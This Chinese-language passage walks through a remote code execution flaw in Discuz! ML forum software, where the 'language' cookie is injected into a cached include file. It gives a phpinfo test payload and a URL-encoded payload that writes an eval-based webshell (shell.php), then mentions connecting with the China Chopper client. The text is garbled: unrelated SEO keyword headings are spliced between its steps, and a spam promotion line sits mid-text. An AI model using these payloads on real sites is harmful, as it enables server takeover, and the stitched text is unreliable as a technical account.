1.discuz database error

一、漏洞描述该漏洞存在discuz ml(多国语言版)中,cookie中的language可控并且没有严格过滤,导致可以远程代码执行二、漏洞影响版本Discuz! ML V3.2Discuz! ML V3.3

2.discuz官网

Discuz! ML V3.4三、漏洞环境搭建官网下载Discuz! ML V3.4,下载地址: http://discuz.ml/download将压缩包解压到phpstudy网站根目录,浏览器访问upload目录开始安装

3.discuzQ

然后就是一直点击下一步就可以了,直到完成安装

4.discuz应用中心

四、漏洞复现漏洞存在的位置/upload/source/module/portal/portal_index.php,使用

5.discuz什么意思

6.discuz论坛源码

跟进DISCUZ_LANG函数,发现从cookie中取language的值给$lng

7.discuz安装教程

继续浏览代码,发现把$lng的值赋给DISCUZ_LANG了

8.discuz怎么读

到此为止,整个漏洞分析过程已结束,过程如下:外部参数$最终include_once函数包含一下导致了代码注入(执行了插入恶意代码的缓存文件名)surprise! 500G网络安全学习资料,私信"安全"免费领取。

9.discuz3.5

测试漏洞,随便点击一个页面,抓包,将Cookie中的xxx_language参数值改为’.phpinfo().’,发现成功执行了代码

10.discuz

查看缓存文件,发现缓存文件名被修改如下

getshell8.1尝试上传一个shell,构造payload,如下:.file_put_contents(shell.php,).执行提示错误,可能是编码的原因

8.2、尝试对payload进行全部编码,失败,只有使用如下payload才能成功%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524

_%2550%254f%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

8.3、查看是否成功上传shell.php,发现成功上传

8.4、菜刀连接